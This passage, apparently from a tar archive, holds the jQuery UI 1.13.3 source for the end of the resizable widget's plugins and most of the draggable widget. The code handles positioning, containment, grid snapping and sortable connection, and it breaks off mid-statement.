) + ( that.position.top - that.originalPosition.top ) ) || null; that.element.animate( $.extend( style, top && left ? { top: top, left: left } : {} ), { duration: o.animateDuration, easing: o.animateEasing, step: function() { var data = { width: parseFloat( that.element.css( "width" ) ), height: parseFloat( that.element.css( "height" ) ), top: parseFloat( that.element.css( "top" ) ), left: parseFloat( that.element.css( "left" ) ) }; if ( pr && pr.length ) { $( pr[ 0 ] ).css( { width: data.width, height: data.height } ); } // Propagating resize, and updating values for each animation step that._updateCache( data ); that._propagate( "resize", event ); } } ); } } ); $.ui.plugin.add( "resizable", "containment", { start: function() { var element, p, co, ch, cw, width, height, that = $( this ).resizable( "instance" ), o = that.options, el = that.element, oc = o.containment, ce = ( oc instanceof $ ) ? oc.get( 0 ) : ( /parent/.test( oc ) ) ? el.parent().get( 0 ) : oc; if ( !ce ) { return; } that.containerElement = $( ce ); if ( /document/.test( oc ) || oc === document ) { that.containerOffset = { left: 0, top: 0 }; that.containerPosition = { left: 0, top: 0 }; that.parentData = { element: $( document ), left: 0, top: 0, width: $( document ).width(), height: $( document ).height() || document.body.parentNode.scrollHeight }; } else { element = $( ce ); p = []; $( [ "Top", "Right", "Left", "Bottom" ] ).each( function( i, name ) { p[ i ] = that._num( element.css( "padding" + name ) ); } ); that.containerOffset = element.offset(); that.containerPosition = element.position(); that.containerSize = { height: ( element.innerHeight() - p[ 3 ] ), width: ( element.innerWidth() - p[ 1 ] ) }; co = that.containerOffset; ch = that.containerSize.height; cw = that.containerSize.width; width = ( that._hasScroll( ce, "left" ) ? ce.scrollWidth : cw ); height = ( that._hasScroll( ce ) ? ce.scrollHeight : ch ); that.parentData = { element: ce, left: co.left, top: co.top, width: width, height: height }; } }, resize: function( event ) { var woset, hoset, isParent, isOffsetRelative, that = $( this ).resizable( "instance" ), o = that.options, co = that.containerOffset, cp = that.position, pRatio = that._aspectRatio || event.shiftKey, cop = { top: 0, left: 0 }, ce = that.containerElement, continueResize = true; if ( ce[ 0 ] !== document && ( /static/ ).test( ce.css( "position" ) ) ) { cop = co; } if ( cp.left < ( that._helper ? co.left : 0 ) ) { that.size.width = that.size.width + ( that._helper ? ( that.position.left - co.left ) : ( that.position.left - cop.left ) ); if ( pRatio ) { that.size.height = that.size.width / that.aspectRatio; continueResize = false; } that.position.left = o.helper ? co.left : 0; } if ( cp.top < ( that._helper ? co.top : 0 ) ) { that.size.height = that.size.height + ( that._helper ? ( that.position.top - co.top ) : that.position.top ); if ( pRatio ) { that.size.width = that.size.height * that.aspectRatio; continueResize = false; } that.position.top = that._helper ? co.top : 0; } isParent = that.containerElement.get( 0 ) === that.element.parent().get( 0 ); isOffsetRelative = /relative|absolute/.test( that.containerElement.css( "position" ) ); if ( isParent && isOffsetRelative ) { that.offset.left = that.parentData.left + that.position.left; that.offset.top = that.parentData.top + that.position.top; } else { that.offset.left = that.element.offset().left; that.offset.top = that.element.offset().top; } woset = Math.abs( that.sizeDiff.width + ( that._helper ? that.offset.left - cop.left : ( that.offset.left - co.left ) ) ); hoset = Math.abs( that.sizeDiff.height + ( that._helper ? that.offset.top - cop.top : ( that.offset.top - co.top ) ) ); if ( woset + that.size.width >= that.parentData.width ) { that.size.width = that.parentData.width - woset; if ( pRatio ) { that.size.height = that.size.width / that.aspectRatio; continueResize = false; } } if ( hoset + that.size.height >= that.parentData.height ) { that.size.height = that.parentData.height - hoset; if ( pRatio ) { that.size.width = that.size.height * that.aspectRatio; continueResize = false; } } if ( !continueResize ) { that.position.left = that.prevPosition.left; that.position.top = that.prevPosition.top; that.size.width = that.prevSize.width; that.size.height = that.prevSize.height; } }, stop: function() { var that = $( this ).resizable( "instance" ), o = that.options, co = that.containerOffset, cop = that.containerPosition, ce = that.containerElement, helper = $( that.helper ), ho = helper.offset(), w = helper.outerWidth() - that.sizeDiff.width, h = helper.outerHeight() - that.sizeDiff.height; if ( that._helper && !o.animate && ( /relative/ ).test( ce.css( "position" ) ) ) { $( this ).css( { left: ho.left - cop.left - co.left, width: w, height: h } ); } if ( that._helper && !o.animate && ( /static/ ).test( ce.css( "position" ) ) ) { $( this ).css( { left: ho.left - cop.left - co.left, width: w, height: h } ); } } } ); $.ui.plugin.add( "resizable", "alsoResize", { start: function() { var that = $( this ).resizable( "instance" ), o = that.options; $( o.alsoResize ).each( function() { var el = $( this ); el.data( "ui-resizable-alsoresize", { width: parseFloat( el.css( "width" ) ), height: parseFloat( el.css( "height" ) ), left: parseFloat( el.css( "left" ) ), top: parseFloat( el.css( "top" ) ) } ); } ); }, resize: function( event, ui ) { var that = $( this ).resizable( "instance" ), o = that.options, os = that.originalSize, op = that.originalPosition, delta = { height: ( that.size.height - os.height ) || 0, width: ( that.size.width - os.width ) || 0, top: ( that.position.top - op.top ) || 0, left: ( that.position.left - op.left ) || 0 }; $( o.alsoResize ).each( function() { var el = $( this ), start = $( this ).data( "ui-resizable-alsoresize" ), style = {}, css = el.parents( ui.originalElement[ 0 ] ).length ? [ "width", "height" ] : [ "width", "height", "top", "left" ]; $.each( css, function( i, prop ) { var sum = ( start[ prop ] || 0 ) + ( delta[ prop ] || 0 ); if ( sum && sum >= 0 ) { style[ prop ] = sum || null; } } ); el.css( style ); } ); }, stop: function() { $( this ).removeData( "ui-resizable-alsoresize" ); } } ); $.ui.plugin.add( "resizable", "ghost", { start: function() { var that = $( this ).resizable( "instance" ), cs = that.size; that.ghost = that.originalElement.clone(); that.ghost.css( { opacity: 0.25, display: "block", position: "relative", height: cs.height, width: cs.width, margin: 0, left: 0, top: 0 } ); that._addClass( that.ghost, "ui-resizable-ghost" ); // DEPRECATED // TODO: remove after 1.12 if ( $.uiBackCompat !== false && typeof that.options.ghost === "string" ) { // Ghost option that.ghost.addClass( this.options.ghost ); } that.ghost.appendTo( that.helper ); }, resize: function() { var that = $( this ).resizable( "instance" ); if ( that.ghost ) { that.ghost.css( { position: "relative", height: that.size.height, width: that.size.width } ); } }, stop: function() { var that = $( this ).resizable( "instance" ); if ( that.ghost && that.helper ) { that.helper.get( 0 ).removeChild( that.ghost.get( 0 ) ); } } } ); $.ui.plugin.add( "resizable", "grid", { resize: function() { var outerDimensions, that = $( this ).resizable( "instance" ), o = that.options, cs = that.size, os = that.originalSize, op = that.originalPosition, a = that.axis, grid = typeof o.grid === "number" ? [ o.grid, o.grid ] : o.grid, gridX = ( grid[ 0 ] || 1 ), gridY = ( grid[ 1 ] || 1 ), ox = Math.round( ( cs.width - os.width ) / gridX ) * gridX, oy = Math.round( ( cs.height - os.height ) / gridY ) * gridY, newWidth = os.width + ox, newHeight = os.height + oy, isMaxWidth = o.maxWidth && ( o.maxWidth < newWidth ), isMaxHeight = o.maxHeight && ( o.maxHeight < newHeight ), isMinWidth = o.minWidth && ( o.minWidth > newWidth ), isMinHeight = o.minHeight && ( o.minHeight > newHeight ); o.grid = grid; if ( isMinWidth ) { newWidth += gridX; } if ( isMinHeight ) { newHeight += gridY; } if ( isMaxWidth ) { newWidth -= gridX; } if ( isMaxHeight ) { newHeight -= gridY; } if ( /^(se|s|e)$/.test( a ) ) { that.size.width = newWidth; that.size.height = newHeight; } else if ( /^(ne)$/.test( a ) ) { that.size.width = newWidth; that.size.height = newHeight; that.position.top = op.top - oy; } else if ( /^(sw)$/.test( a ) ) { that.size.width = newWidth; that.size.height = newHeight; that.position.left = op.left - ox; } else { if ( newHeight - gridY <= 0 || newWidth - gridX <= 0 ) { outerDimensions = that._getPaddingPlusBorderDimensions( this ); } if ( newHeight - gridY > 0 ) { that.size.height = newHeight; that.position.top = op.top - oy; } else { newHeight = gridY - outerDimensions.height; that.size.height = newHeight; that.position.top = op.top + os.height - newHeight; } if ( newWidth - gridX > 0 ) { that.size.width = newWidth; that.position.left = op.left - ox; } else { newWidth = gridX - outerDimensions.width; that.size.width = newWidth; that.position.left = op.left + os.width - newWidth; } } } } ); return $.ui.resizable; } ); jquery/ui/draggable.js 0000644 00000105332 15111757754 0010767 0 ustar 00 /*! * jQuery UI Draggable 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Draggable //>>group: Interactions //>>description: Enables dragging functionality for any element. //>>docs: https://api.jqueryui.com/draggable/ //>>demos: https://jqueryui.com/draggable/ //>>css.structure: ../../themes/base/draggable.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./mouse", "../data", "../plugin", "../safe-active-element", "../safe-blur", "../scroll-parent", "../version", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.draggable", $.ui.mouse, { version: "1.13.3", widgetEventPrefix: "drag", options: { addClasses: true, appendTo: "parent", axis: false, connectToSortable: false, containment: false, cursor: "auto", cursorAt: false, grid: false, handle: false, helper: "original", iframeFix: false, opacity: false, refreshPositions: false, revert: false, revertDuration: 500, scope: "default", scroll: true, scrollSensitivity: 20, scrollSpeed: 20, snap: false, snapMode: "both", snapTolerance: 20, stack: false, zIndex: false, // Callbacks drag: null, start: null, stop: null }, _create: function() { if ( this.options.helper === "original" ) { this._setPositionRelative(); } if ( this.options.addClasses ) { this._addClass( "ui-draggable" ); } this._setHandleClassName(); this._mouseInit(); }, _setOption: function( key, value ) { this._super( key, value ); if ( key === "handle" ) { this._removeHandleClassName(); this._setHandleClassName(); } }, _destroy: function() { if ( ( this.helper || this.element ).is( ".ui-draggable-dragging" ) ) { this.destroyOnClear = true; return; } this._removeHandleClassName(); this._mouseDestroy(); }, _mouseCapture: function( event ) { var o = this.options; // Among others, prevent a drag on a resizable-handle if ( this.helper || o.disabled || $( event.target ).closest( ".ui-resizable-handle" ).length > 0 ) { return false; } //Quit if we're not on a valid handle this.handle = this._getHandle( event ); if ( !this.handle ) { return false; } this._blurActiveElement( event ); this._blockFrames( o.iframeFix === true ? "iframe" : o.iframeFix ); return true; }, _blockFrames: function( selector ) { this.iframeBlocks = this.document.find( selector ).map( function() { var iframe = $( this ); return $( "<div>" ) .css( "position", "absolute" ) .appendTo( iframe.parent() ) .outerWidth( iframe.outerWidth() ) .outerHeight( iframe.outerHeight() ) .offset( iframe.offset() )[ 0 ]; } ); }, _unblockFrames: function() { if ( this.iframeBlocks ) { this.iframeBlocks.remove(); delete this.iframeBlocks; } }, _blurActiveElement: function( event ) { var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ), target = $( event.target ); // Don't blur if the event occurred on an element that is within // the currently focused element // See #10527, #12472 if ( target.closest( activeElement ).length ) { return; } // Blur any element that currently has focus, see #4261 $.ui.safeBlur( activeElement ); }, _mouseStart: function( event ) { var o = this.options; //Create and append the visible helper this.helper = this._createHelper( event ); this._addClass( this.helper, "ui-draggable-dragging" ); //Cache the helper size this._cacheHelperProportions(); //If ddmanager is used for droppables, set the global draggable if ( $.ui.ddmanager ) { $.ui.ddmanager.current = this; } /* * - Position generation - * This block generates everything position related - it's the core of draggables. */ //Cache the margins of the original element this._cacheMargins(); //Store the helper's css position this.cssPosition = this.helper.css( "position" ); this.scrollParent = this.helper.scrollParent( true ); this.offsetParent = this.helper.offsetParent(); this.hasFixedAncestor = this.helper.parents().filter( function() { return $( this ).css( "position" ) === "fixed"; } ).length > 0; //The element's absolute position on the page minus margins this.positionAbs = this.element.offset(); this._refreshOffsets( event ); //Generate the original position this.originalPosition = this.position = this._generatePosition( event, false ); this.originalPageX = event.pageX; this.originalPageY = event.pageY; //Adjust the mouse offset relative to the helper if "cursorAt" is supplied if ( o.cursorAt ) { this._adjustOffsetFromHelper( o.cursorAt ); } //Set a containment if given in the options this._setContainment(); //Trigger event + callbacks if ( this._trigger( "start", event ) === false ) { this._clear(); return false; } //Recache the helper size this._cacheHelperProportions(); //Prepare the droppable offsets if ( $.ui.ddmanager && !o.dropBehaviour ) { $.ui.ddmanager.prepareOffsets( this, event ); } // Execute the drag once - this causes the helper not to be visible before getting its // correct position this._mouseDrag( event, true ); // If the ddmanager is used for droppables, inform the manager that dragging has started // (see #5003) if ( $.ui.ddmanager ) { $.ui.ddmanager.dragStart( this, event ); } return true; }, _refreshOffsets: function( event ) { this.offset = { top: this.positionAbs.top - this.margins.top, left: this.positionAbs.left - this.margins.left, scroll: false, parent: this._getParentOffset(), relative: this._getRelativeOffset() }; this.offset.click = { left: event.pageX - this.offset.left, top: event.pageY - this.offset.top }; }, _mouseDrag: function( event, noPropagation ) { // reset any necessary cached properties (see #5009) if ( this.hasFixedAncestor ) { this.offset.parent = this._getParentOffset(); } //Compute the helpers position this.position = this._generatePosition( event, true ); this.positionAbs = this._convertPositionTo( "absolute" ); //Call plugins and callbacks and use the resulting position if something is returned if ( !noPropagation ) { var ui = this._uiHash(); if ( this._trigger( "drag", event, ui ) === false ) { this._mouseUp( new $.Event( "mouseup", event ) ); return false; } this.position = ui.position; } this.helper[ 0 ].style.left = this.position.left + "px"; this.helper[ 0 ].style.top = this.position.top + "px"; if ( $.ui.ddmanager ) { $.ui.ddmanager.drag( this, event ); } return false; }, _mouseStop: function( event ) { //If we are using droppables, inform the manager about the drop var that = this, dropped = false; if ( $.ui.ddmanager && !this.options.dropBehaviour ) { dropped = $.ui.ddmanager.drop( this, event ); } //if a drop comes from outside (a sortable) if ( this.dropped ) { dropped = this.dropped; this.dropped = false; } if ( ( this.options.revert === "invalid" && !dropped ) || ( this.options.revert === "valid" && dropped ) || this.options.revert === true || ( typeof this.options.revert === "function" && this.options.revert.call( this.element, dropped ) ) ) { $( this.helper ).animate( this.originalPosition, parseInt( this.options.revertDuration, 10 ), function() { if ( that._trigger( "stop", event ) !== false ) { that._clear(); } } ); } else { if ( this._trigger( "stop", event ) !== false ) { this._clear(); } } return false; }, _mouseUp: function( event ) { this._unblockFrames(); // If the ddmanager is used for droppables, inform the manager that dragging has stopped // (see #5003) if ( $.ui.ddmanager ) { $.ui.ddmanager.dragStop( this, event ); } // Only need to focus if the event occurred on the draggable itself, see #10527 if ( this.handleElement.is( event.target ) ) { // The interaction is over; whether or not the click resulted in a drag, // focus the element this.element.trigger( "focus" ); } return $.ui.mouse.prototype._mouseUp.call( this, event ); }, cancel: function() { if ( this.helper.is( ".ui-draggable-dragging" ) ) { this._mouseUp( new $.Event( "mouseup", { target: this.element[ 0 ] } ) ); } else { this._clear(); } return this; }, _getHandle: function( event ) { return this.options.handle ? !!$( event.target ).closest( this.element.find( this.options.handle ) ).length : true; }, _setHandleClassName: function() { this.handleElement = this.options.handle ? this.element.find( this.options.handle ) : this.element; this._addClass( this.handleElement, "ui-draggable-handle" ); }, _removeHandleClassName: function() { this._removeClass( this.handleElement, "ui-draggable-handle" ); }, _createHelper: function( event ) { var o = this.options, helperIsFunction = typeof o.helper === "function", helper = helperIsFunction ? $( o.helper.apply( this.element[ 0 ], [ event ] ) ) : ( o.helper === "clone" ? this.element.clone().removeAttr( "id" ) : this.element ); if ( !helper.parents( "body" ).length ) { helper.appendTo( ( o.appendTo === "parent" ? this.element[ 0 ].parentNode : o.appendTo ) ); } // https://bugs.jqueryui.com/ticket/9446 // a helper function can return the original element // which wouldn't have been set to relative in _create if ( helperIsFunction && helper[ 0 ] === this.element[ 0 ] ) { this._setPositionRelative(); } if ( helper[ 0 ] !== this.element[ 0 ] && !( /(fixed|absolute)/ ).test( helper.css( "position" ) ) ) { helper.css( "position", "absolute" ); } return helper; }, _setPositionRelative: function() { if ( !( /^(?:r|a|f)/ ).test( this.element.css( "position" ) ) ) { this.element[ 0 ].style.position = "relative"; } }, _adjustOffsetFromHelper: function( obj ) { if ( typeof obj === "string" ) { obj = obj.split( " " ); } if ( Array.isArray( obj ) ) { obj = { left: +obj[ 0 ], top: +obj[ 1 ] || 0 }; } if ( "left" in obj ) { this.offset.click.left = obj.left + this.margins.left; } if ( "right" in obj ) { this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left; } if ( "top" in obj ) { this.offset.click.top = obj.top + this.margins.top; } if ( "bottom" in obj ) { this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top; } }, _isRootNode: function( element ) { return ( /(html|body)/i ).test( element.tagName ) || element === this.document[ 0 ]; }, _getParentOffset: function() { //Get the offsetParent and cache its position var po = this.offsetParent.offset(), document = this.document[ 0 ]; // This is a special case where we need to modify a offset calculated on start, since the // following happened: // 1. The position of the helper is absolute, so it's position is calculated based on the // next positioned parent // 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't // the document, which means that the scroll is included in the initial calculation of the // offset of the parent, and never recalculated upon drag if ( this.cssPosition === "absolute" && this.scrollParent[ 0 ] !== document && $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) { po.left += this.scrollParent.scrollLeft(); po.top += this.scrollParent.scrollTop(); } if ( this._isRootNode( this.offsetParent[ 0 ] ) ) { po = { top: 0, left: 0 }; } return { top: po.top + ( parseInt( this.offsetParent.css( "borderTopWidth" ), 10 ) || 0 ), left: po.left + ( parseInt( this.offsetParent.css( "borderLeftWidth" ), 10 ) || 0 ) }; }, _getRelativeOffset: function() { if ( this.cssPosition !== "relative" ) { return { top: 0, left: 0 }; } var p = this.element.position(), scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ); return { top: p.top - ( parseInt( this.helper.css( "top" ), 10 ) || 0 ) + ( !scrollIsRootNode ? this.scrollParent.scrollTop() : 0 ), left: p.left - ( parseInt( this.helper.css( "left" ), 10 ) || 0 ) + ( !scrollIsRootNode ? this.scrollParent.scrollLeft() : 0 ) }; }, _cacheMargins: function() { this.margins = { left: ( parseInt( this.element.css( "marginLeft" ), 10 ) || 0 ), top: ( parseInt( this.element.css( "marginTop" ), 10 ) || 0 ), right: ( parseInt( this.element.css( "marginRight" ), 10 ) || 0 ), bottom: ( parseInt( this.element.css( "marginBottom" ), 10 ) || 0 ) }; }, _cacheHelperProportions: function() { this.helperProportions = { width: this.helper.outerWidth(), height: this.helper.outerHeight() }; }, _setContainment: function() { var isUserScrollable, c, ce, o = this.options, document = this.document[ 0 ]; this.relativeContainer = null; if ( !o.containment ) { this.containment = null; return; } if ( o.containment === "window" ) { this.containment = [ $( window ).scrollLeft() - this.offset.relative.left - this.offset.parent.left, $( window ).scrollTop() - this.offset.relative.top - this.offset.parent.top, $( window ).scrollLeft() + $( window ).width() - this.helperProportions.width - this.margins.left, $( window ).scrollTop() + ( $( window ).height() || document.body.parentNode.scrollHeight ) - this.helperProportions.height - this.margins.top ]; return; } if ( o.containment === "document" ) { this.containment = [ 0, 0, $( document ).width() - this.helperProportions.width - this.margins.left, ( $( document ).height() || document.body.parentNode.scrollHeight ) - this.helperProportions.height - this.margins.top ]; return; } if ( o.containment.constructor === Array ) { this.containment = o.containment; return; } if ( o.containment === "parent" ) { o.containment = this.helper[ 0 ].parentNode; } c = $( o.containment ); ce = c[ 0 ]; if ( !ce ) { return; } isUserScrollable = /(scroll|auto)/.test( c.css( "overflow" ) ); this.containment = [ ( parseInt( c.css( "borderLeftWidth" ), 10 ) || 0 ) + ( parseInt( c.css( "paddingLeft" ), 10 ) || 0 ), ( parseInt( c.css( "borderTopWidth" ), 10 ) || 0 ) + ( parseInt( c.css( "paddingTop" ), 10 ) || 0 ), ( isUserScrollable ? Math.max( ce.scrollWidth, ce.offsetWidth ) : ce.offsetWidth ) - ( parseInt( c.css( "borderRightWidth" ), 10 ) || 0 ) - ( parseInt( c.css( "paddingRight" ), 10 ) || 0 ) - this.helperProportions.width - this.margins.left - this.margins.right, ( isUserScrollable ? Math.max( ce.scrollHeight, ce.offsetHeight ) : ce.offsetHeight ) - ( parseInt( c.css( "borderBottomWidth" ), 10 ) || 0 ) - ( parseInt( c.css( "paddingBottom" ), 10 ) || 0 ) - this.helperProportions.height - this.margins.top - this.margins.bottom ]; this.relativeContainer = c; }, _convertPositionTo: function( d, pos ) { if ( !pos ) { pos = this.position; } var mod = d === "absolute" ? 1 : -1, scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ); return { top: ( // The absolute mouse position pos.top + // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.top * mod + // The offsetParent's offset without borders (offset + border) this.offset.parent.top * mod - ( ( this.cssPosition === "fixed" ? -this.offset.scroll.top : ( scrollIsRootNode ? 0 : this.offset.scroll.top ) ) * mod ) ), left: ( // The absolute mouse position pos.left + // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.left * mod + // The offsetParent's offset without borders (offset + border) this.offset.parent.left * mod - ( ( this.cssPosition === "fixed" ? -this.offset.scroll.left : ( scrollIsRootNode ? 0 : this.offset.scroll.left ) ) * mod ) ) }; }, _generatePosition: function( event, constrainPosition ) { var containment, co, top, left, o = this.options, scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ), pageX = event.pageX, pageY = event.pageY; // Cache the scroll if ( !scrollIsRootNode || !this.offset.scroll ) { this.offset.scroll = { top: this.scrollParent.scrollTop(), left: this.scrollParent.scrollLeft() }; } /* * - Position constraining - * Constrain the position to a mix of grid, containment. */ // If we are not dragging yet, we won't check for options if ( constrainPosition ) { if ( this.containment ) { if ( this.relativeContainer ) { co = this.relativeContainer.offset(); containment = [ this.containment[ 0 ] + co.left, this.containment[ 1 ] + co.top, this.containment[ 2 ] + co.left, this.containment[ 3 ] + co.top ]; } else { containment = this.containment; } if ( event.pageX - this.offset.click.left < containment[ 0 ] ) { pageX = containment[ 0 ] + this.offset.click.left; } if ( event.pageY - this.offset.click.top < containment[ 1 ] ) { pageY = containment[ 1 ] + this.offset.click.top; } if ( event.pageX - this.offset.click.left > containment[ 2 ] ) { pageX = containment[ 2 ] + this.offset.click.left; } if ( event.pageY - this.offset.click.top > containment[ 3 ] ) { pageY = containment[ 3 ] + this.offset.click.top; } } if ( o.grid ) { //Check for grid elements set to 0 to prevent divide by 0 error causing invalid // argument errors in IE (see ticket #6950) top = o.grid[ 1 ] ? this.originalPageY + Math.round( ( pageY - this.originalPageY ) / o.grid[ 1 ] ) * o.grid[ 1 ] : this.originalPageY; pageY = containment ? ( ( top - this.offset.click.top >= containment[ 1 ] || top - this.offset.click.top > containment[ 3 ] ) ? top : ( ( top - this.offset.click.top >= containment[ 1 ] ) ? top - o.grid[ 1 ] : top + o.grid[ 1 ] ) ) : top; left = o.grid[ 0 ] ? this.originalPageX + Math.round( ( pageX - this.originalPageX ) / o.grid[ 0 ] ) * o.grid[ 0 ] : this.originalPageX; pageX = containment ? ( ( left - this.offset.click.left >= containment[ 0 ] || left - this.offset.click.left > containment[ 2 ] ) ? left : ( ( left - this.offset.click.left >= containment[ 0 ] ) ? left - o.grid[ 0 ] : left + o.grid[ 0 ] ) ) : left; } if ( o.axis === "y" ) { pageX = this.originalPageX; } if ( o.axis === "x" ) { pageY = this.originalPageY; } } return { top: ( // The absolute mouse position pageY - // Click offset (relative to the element) this.offset.click.top - // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.top - // The offsetParent's offset without borders (offset + border) this.offset.parent.top + ( this.cssPosition === "fixed" ? -this.offset.scroll.top : ( scrollIsRootNode ? 0 : this.offset.scroll.top ) ) ), left: ( // The absolute mouse position pageX - // Click offset (relative to the element) this.offset.click.left - // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.left - // The offsetParent's offset without borders (offset + border) this.offset.parent.left + ( this.cssPosition === "fixed" ? -this.offset.scroll.left : ( scrollIsRootNode ? 0 : this.offset.scroll.left ) ) ) }; }, _clear: function() { this._removeClass( this.helper, "ui-draggable-dragging" ); if ( this.helper[ 0 ] !== this.element[ 0 ] && !this.cancelHelperRemoval ) { this.helper.remove(); } this.helper = null; this.cancelHelperRemoval = false; if ( this.destroyOnClear ) { this.destroy(); } }, // From now on bulk stuff - mainly helpers _trigger: function( type, event, ui ) { ui = ui || this._uiHash(); $.ui.plugin.call( this, type, [ event, ui, this ], true ); // Absolute position and offset (see #6884 ) have to be recalculated after plugins if ( /^(drag|start|stop)/.test( type ) ) { this.positionAbs = this._convertPositionTo( "absolute" ); ui.offset = this.positionAbs; } return $.Widget.prototype._trigger.call( this, type, event, ui ); }, plugins: {}, _uiHash: function() { return { helper: this.helper, position: this.position, originalPosition: this.originalPosition, offset: this.positionAbs }; } } ); $.ui.plugin.add( "draggable", "connectToSortable", { start: function( event, ui, draggable ) { var uiSortable = $.extend( {}, ui, { item: draggable.element } ); draggable.sortables = []; $( draggable.options.connectToSortable ).each( function() { var sortable = $( this ).sortable( "instance" ); if ( sortable && !sortable.options.disabled ) { draggable.sortables.push( sortable ); // RefreshPositions is called at drag start to refresh the containerCache // which is used in drag. This ensures it's initialized and synchronized // with any changes that might have happened on the page since initialization. sortable.refreshPositions(); sortable._trigger( "activate", event, uiSortable ); } } ); }, stop: function( event, ui, draggable ) { var uiSortable = $.extend( {}, ui, { item: draggable.element } ); draggable.cancelHelperRemoval = false; $.each( draggable.sortables, function() { var sortable = this; if ( sortable.isOver ) { sortable.isOver = 0; // Allow this sortable to handle removing the helper draggable.cancelHelperRemoval = true; sortable.cancelHelperRemoval = false; // Use _storedCSS To restore properties in the sortable, // as this also handles revert (#9675) since the draggable // may have modified them in unexpected ways (#8809) sortable._storedCSS = { position: sortable.placeholder.css( "position" ), top: sortable.placeholder.css( "top" ), left: sortable.placeholder.css( "left" ) }; sortable._mouseStop( event ); // Once drag has ended, the sortable should return to using // its original helper, not the shared helper from draggable sortable.options.helper = sortable.options._helper; } else { // Prevent this Sortable from removing the helper. // However, don't set the draggable to remove the helper // either as another connected Sortable may yet handle the removal. sortable.cancelHelperRemoval = true; sortable._trigger( "deactivate", event, uiSortable ); } } ); }, drag: function( event, ui, draggable ) { $.each( draggable.sortables, function() { var innermostIntersecting = false, sortable = this; // Copy over variables that sortable's _intersectsWith uses sortable.positionAbs = draggable.positionAbs; sortable.helperProportions = draggable.helperProportions; sortable.offset.click = draggable.offset.click; if ( sortable._intersectsWith( sortable.containerCache ) ) { innermostIntersecting = true; $.each( draggable.sortables, function() { // Copy over variables that sortable's _intersectsWith uses this.positionAbs = draggable.positionAbs; this.helperProportions = draggable.helperProportions; this.offset.click = draggable.offset.click; if ( this !== sortable && this._intersectsWith( this.containerCache ) && $.contains( sortable.element[ 0 ], this.element[ 0 ] ) ) { innermostIntersecting = false; } return innermostIntersecting; } ); } if ( innermostIntersecting ) { // If it intersects, we use a little isOver variable and set it once, // so that the move-in stuff gets fired only once. if ( !sortable.isOver ) { sortable.isOver = 1; // Store draggable's parent in case we need to reappend to it later. draggable._parent = ui.helper.parent(); sortable.currentItem = ui.helper .appendTo( sortable.element ) .data( "ui-sortable-item", true ); // Store helper option to later restore it sortable.options._helper = sortable.options.helper; sortable.options.helper = function() { return ui.helper[ 0 ]; }; // Fire the start events of the sortable with our passed browser event, // and our own helper (so it doesn't create a new one) event.target = sortable.currentItem[ 0 ]; sortable._mouseCapture( event, true ); sortable._mouseStart( event, true, true ); // Because the browser event is way off the new appended portlet, // modify necessary variables to reflect the changes sortable.offset.click.top = draggable.offset.click.top; sortable.offset.click.left = draggable.offset.click.left; sortable.offset.parent.left -= draggable.offset.parent.left - sortable.offset.parent.left; sortable.offset.parent.top -= draggable.offset.parent.top - sortable.offset.parent.top; draggable._trigger( "toSortable", event ); // Inform draggable that the helper is in a valid drop zone, // used solely in the revert option to handle "valid/invalid". draggable.dropped = sortable.element; // Need to refreshPositions of all sortables in the case that // adding to one sortable changes the location of the other sortables (#9675) $.each( draggable.sortables, function() { this.refreshPositions(); } ); // Hack so receive/update callbacks work (mostly) draggable.currentItem = draggable.element; sortable.fromOutside = draggable; } if ( sortable.currentItem ) { sortable._mouseDrag( event ); // Copy the sortable's position because the draggable's can potentially reflect // a relative position, while sortable is always absolute, which the dragged // element has now become. (#8809) ui.position = sortable.position; } } else { // If it doesn't intersect with the sortable, and it intersected before, // we fake the drag stop of the sortable, but make sure it doesn't remove // the helper by using cancelHelperRemoval. if ( sortable.isOver ) { sortable.isOver = 0; sortable.cancelHelperRemoval = true; // Calling sortable's mouseStop would trigger a revert, // so revert must be temporarily false until after mouseStop is called. sortable.options._revert = sortable.options.revert; sortable.options.revert = false; sortable._trigger( "out", event, sortable._uiHash( sortable ) ); sortable._mouseStop( event, true ); // Restore sortable behaviors that were modfied // when the draggable entered the sortable area (#9481) sortable.options.revert = sortable.options._revert; sortable.options.helper = sortable.options._helper; if ( sortable.placeholder ) { sortable.placeholder.remove(); } // Restore and recalculate the draggable's offset considering the sortable // may have modified them in unexpected ways. (#8809, #10669) ui.helper.appendTo( draggable._parent ); draggable._refreshOffsets( event ); ui.position = draggable._generatePosition( event, true ); draggable._trigger( "fromSortable", event ); // Inform draggable that the helper is no longer in a valid drop zone draggable.dropped = false; // Need to refreshPositions of all sortables just in case removing // from one sortable changes the location of other sortables (#9675) $.each( draggable.sortables, function() { this.refreshPositions(); } ); } } } ); } } ); $.ui.plugin.add( "draggable", "cursor", { start: function( event, ui, instance ) { var t = $( "body" ), o = instance.options; if ( t.css( "cursor" ) ) { o._cursor = t.css( "cursor" ); } t.css( "cursor", o.cursor ); }, stop: function( event, ui, instance ) { var o = instance.options; if ( o._cursor ) { $( "body" ).css( "cursor", o._cursor ); } } } ); $.ui.plugin.add( "draggable", "opacity", { start: function( event, ui, instance ) { var t = $( ui.helper ), o = instance.options; if ( t.css( "opacity" ) ) { o._opacity = t.css( "opacity" ); } t.css( "opacity", o.opacity ); }, stop: function( event, ui, instance ) { var o = instance.options; if ( o._opacity ) { $( ui.helper ).css( "opacity", o._opacity ); } } } ); $.ui.plugin.add( "draggable", "scroll", { start: function( event, ui, i ) { if ( !i.scrollParentNotHidden ) { i.scrollParentNotHidden = i.helper.scrollParent( false ); } if ( i.scrollParentNotHidden[ 0 ] !== i.document[ 0 ] && i.scrollParentNotHidden[ 0 ].tagName !== "HTML" ) { i.overflowOffset = 